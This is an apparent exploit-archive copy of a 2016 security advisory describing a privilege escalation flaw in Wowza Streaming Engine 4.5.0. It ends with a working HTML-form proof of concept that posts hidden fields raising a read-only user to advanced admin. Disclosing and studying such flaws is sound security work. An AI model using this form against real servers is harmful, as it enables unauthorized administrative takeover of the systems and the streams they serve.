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Wowza Streaming Engine 4.5.0 Remote Privilege Escalation

Wowza Streaming Engine 4.5.0 Remote Privilege Escalation
Posted Jul 20, 2016
Authored by LiquidWorm | Site zeroscience.mk

The Wowza Streaming Engine application suffers from a privilege escalation issue. Normal user (read-only) can elevate his/her privileges by sending a POST request setting the parameter 'accessLevel' to 'admin' gaining admin rights and/or setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining advanced admin rights. Version 4.5.0 build 18676 is affected.

tags | exploit
SHA-256 | 6dff3829d868f5291d523f9273d16a035430766d14c73adc9a0bea44fd2a9c99

Wowza Streaming Engine 4.5.0 Remote Privilege Escalation

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Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit


Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP

Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.

Desc: The application suffers from a privilege escalation issue. Normal
user (read-only) can elevate his/her privileges by sending a POST request
seting the parameter 'accessLevel' to 'admin' gaining admin rights and/or
setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining
advanced admin rights.

Advanced Admin:
Allow access to advanced properties and features
Only for expert Wowza Streaming Engine users.

Tested on: Winstone Servlet Engine v1.0.5
Servlet/2.5 (Winstone/1.0.5)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2016-5340
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5340.php


03.07.2016

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Privilege escalation from existing read-only user to admin(advanced):

<html>
<body>
<form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
<input type="hidden" name="version" value="0" />
<input type="hidden" name="action" value="quickEdit" />
<input type="hidden" name="userName" value="usermuser" />
<input type="hidden" name="userPassword" value="" />
<input type="hidden" name="userPassword2" value="" />
<input type="hidden" name="accessLevel" value="admin" />
<input type="hidden" name="advUser" value="true" />
<input type="hidden" name="_advUser" value="on" />
<input type="hidden" name="ignoreWarnings" value="false" />
<input type="submit" value="God mode" />
</form>
</body>
</html>
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